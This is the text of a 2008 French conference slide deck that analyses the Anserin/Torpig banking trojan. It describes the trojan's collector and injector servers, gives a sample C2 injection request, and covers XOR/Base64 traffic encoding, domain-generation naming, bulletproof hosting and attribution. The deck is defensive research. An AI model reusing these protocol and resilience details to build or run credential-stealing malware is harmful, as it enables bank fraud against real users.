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INTRODUCTION 

Anserin (aka Torpig, Sinowal) en quelques mots :  

Malware de type banker dont l’objectif est de voler des mots de passe de banques 

S’installe sur des systèmes Windows et s’accroche à Internet Explorer 

Affiche des formulaires malicieux aux victimes 

Utilise des serveurs externes dits de “Back-Office” 



OSSIR Juillet 08 ‐ Autopsie et observa7ons in vivo d’un banker ‐ F.Charpen7er et Y.Hamon  

INTRODUCTION : Le vif du sujet 
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Back-Office Anserin 

DEROULEMENT DE L’ATTAQUE 

Anserin 

1

Send stolen passwords 
Login : xmco 
Password : mySecret 
N° SS : 0123456789 
SecretAnswer : motherBirthName 
… 

4

3
Inject this fakepage 
on /login.aspx 

2

*.mybank.com ? 

www.mybank.com 
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LE BACKOFFICE : 2 serveurs dédiés  

Anserin 

www.mybank.com 

Back-Office Anserin 
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LE COLLECTOR SERVER : Fonctionnalités 

Serveur de mises à jour 
 Nouvelles versions de la librairie principale .DLL 
 Fichier de configuration local (IP et FQDN du Back-Office)  
 Liste des sites avec formulaire malicieux 

Collecte des identifiants et mots de passe volés  
 Traces de tous les POST HTTP 
 Fichier plat taggé 

Sécurité des flux entre les agents et le Back-Office  
 Utilise un protocole HTTP avec des URLs chiffrées 
 Identification des agents avec un MSID inclus dans l’entête User-Agent 
 Blacklistage de certains agents en fonction du MSID  
 Blacklistage des IP sources des agents 
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LE FICHIER DE COLLECTE DES MOTS DE PASSE 
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L’INJECTOR SERVER : Fonctionnalités 

L’Injector est une fonctionnalité optionnelle  
 Anserin collecte tous les POST HTTP avec ou sans injection 

Distribution de formulaires de login malicieux 
Injections simples (ajout de champs HTML) 
Injections évoluées (clavier virtuel, cartes multi-entrées, calculateurs,…)   

Inventaire des URL à remplacer avec les paramètres 
 Méthode HTTP à surveiller :  GET ou POST 
 Paramètres de discrétion : Nb d’injection, Nb des requêtes à ignorer 
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L’INJECTOR SERVER : Le protocole d’injection 

GET /Bysn457/id=1234567890ABCDEF1234567&p1=2&p2=login.bank.com&p3=0 HTTP/1.1


Host: injector-server.com

User-Agent: MSID [1234567890ABCDEF1234567]|Build Vasi5|109


HTTP/1.1 200 OK

Date: Fri, 21 Mar 2008 12:24:47 GMT


Server: Apache

X-Powered-By: PHP/5.1.6

Content-Type: text/html; charset=windows-1251


login.bank.com /login.jsp /fr/fakelogin.php 2 0 2 1
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LE CHIFFREMENT DES COMMUNICATIONS 

ozIh4BNjUVVrr3ZUJkYDgKZmFuBy8xBVXG0FdmdQ1sVD
UmFwBxYlNOt16QhEnOgJhZW4NIDVDQ7WmKgUKYWlQf
HUHB3RrXkfx63RcUmJtVDsuF0E8MxAFoqUlGhV6fFUyLQ
EKcm5TCuW2JRcFdGZXMyESDnAnFVa692VCZHZhR296R
kEOZw8a5uZyDQR1aVVwZQFdmdQQbKiUWB3BhUjOisUB
XZnUEGyqSBNU=   

Opération XOR + Encodage Base64 

930313D32756676253963716650246C6965724D346C6
… 
724D346C696572662930313D36737627363534333231
364544434241403938373635343332313D34696 

Translation Hexadécimal et Inversion 

id=1234567890ABCDEF1234567&sv=109&build=Build
%20Vasi5&ts=1204201312&ip=192.168.1.111&sport
=8796&hport=8744&os=5.1.2600&cn=France&nid=01
23456789ABCDEF&bld=Build Vasi5&ver=109 

Message Initial 

POST /0123456789ABCDEF/ozIh4BNjUVVrr3ZUJ 
kYDgKZmFuBy8xBVXG0FdmdQ1sVDUmFwBxYlNO
t16QhEnOgJhZW4NIDVDQ7WmKgUKYWlQfHUHB3
RrXkfx63RcUmJtVDsuF0E8MxAFoqUlGhV6fFUyLQE
Kcm5TCuW2JRcFdGZXMyESDnAnFVa692VCZHZh
R296RkEOZw8a5uZyDQR1aVVwZQFdmdQQbKiU
WB3BhUjOisUBXZnUEGyqSBNU HTTP/1.1 

Requête HTTP 

0123456789ABCDEF 

MSID 
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L’INJECTOR SERVER : Les formulaires malicieux simples 
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L’INJECTOR SERVER : Les formulaires malicieux simples 
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L’INJECTOR SERVER : Les formulaires malicieux évolués 
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L’INJECTOR SERVER : Les formulaires malicieux évolués 
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L’INJECTOR SERVER : Les URL à remplacer et les paramètres 

Extrait de la liste des banques attaquées 
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RESILIENCE DU MALWARE : Les mécanismes de reprise 

Anserin utilise deux moyens techniques pour garder le contact avec le Collector : 

   FQDN généré pseudo-aléatoirement en fonction de la date du jour 
   Exemple : gjycunj.com, hbyqulj.biz, kicqonv.net…..  

  Note : Noms de domaine enregistrés chez Cari.net. 

  FQDN statique de type Fast-Flux (solution de secours) 
  Dans le fichier de configuration local du banker  
   Exemple : kalamazan.com, kirizz.info  

  Note : Noms de domaine enregistrés chez SoftLayer. 

MONTH 
ANSERIN  

TRANSLATION 
January ANJ 
February EBF 

March ARM 
April PRA 
May AYM 
June UNJ 
July ULJ 

August UAG 
September ESP 

October OKT 
November ONV 
December EDC 
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RESILIENCE DU MALWARE : Les hébergeurs Bullet-Proof  

Softlayer – Dallas, Texas, USA :  

L’adresse IP du Collector Server change toutes les semaines et pointe vers des hébergeurs bullet‐proof . 

L’hébergeur que l’on retrouve le +  : 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RESILIENCE DU MALWARE : Les hébergeurs Bullet-Proof  

ThePlanet - Houston, Texas, USA  Cari  - San Diego, Californie, USA  
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Anserin, RBN, etc : Qui est derrière ? 

La piste Nevskaya et le Panama 
 Historique du RIPE du Collector Server : 

 descr:          Russian Business Network 
 address:       12 Levashovskiy pr, 197110 Saint-Petersburg, Russia 

 descr:          Nevskaya Consulting Company LTD 
 address:       190000, Russia, St.Petersburg 

 descr:           NEVSKCC NEVACON LTD 
 address:       Republic of Panama 

La piste Secure Hosting et les Bahamas 
 Les IP du Collector hebergé chez Softlayer sont liées à un hébergeur de Nassau : 

 descr :  Secure Hosting Ltd. 
 address:   Nassau, BS 
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Anserin, RBN, etc : Qui est derrière ? 
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RETOUR D’EXPERIENCES : Monitoring 

Machine infectée 

Suivi des  
Modifications 
 de Anserin 

Back-Office Anserin 

XMCO I Partners 

Robots de surveillance 
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RETOUR D’EXPERIENCES : Erreurs des pirates 

Téléchargement d’une librairie du malware non obfusquée : 
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AUX DERNIERES NOUVELLES 
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CONCLUSION 

La course aux signatures antivirus est perdue : Mebroot, rootkits… 

Internet Explorer n’est plus le seul vecteur : Silent.Banker gère aussi Firefox 

Authentification double canal devient impératif : SMS, OTP… 

Authentification 2-tiers pour les paiements par CB : 3D-Secure, SecureCode 

Le rôle des FAI pour le filtrage des IP des serveurs C&C : Spamhauss DROP, OpenDNS… 


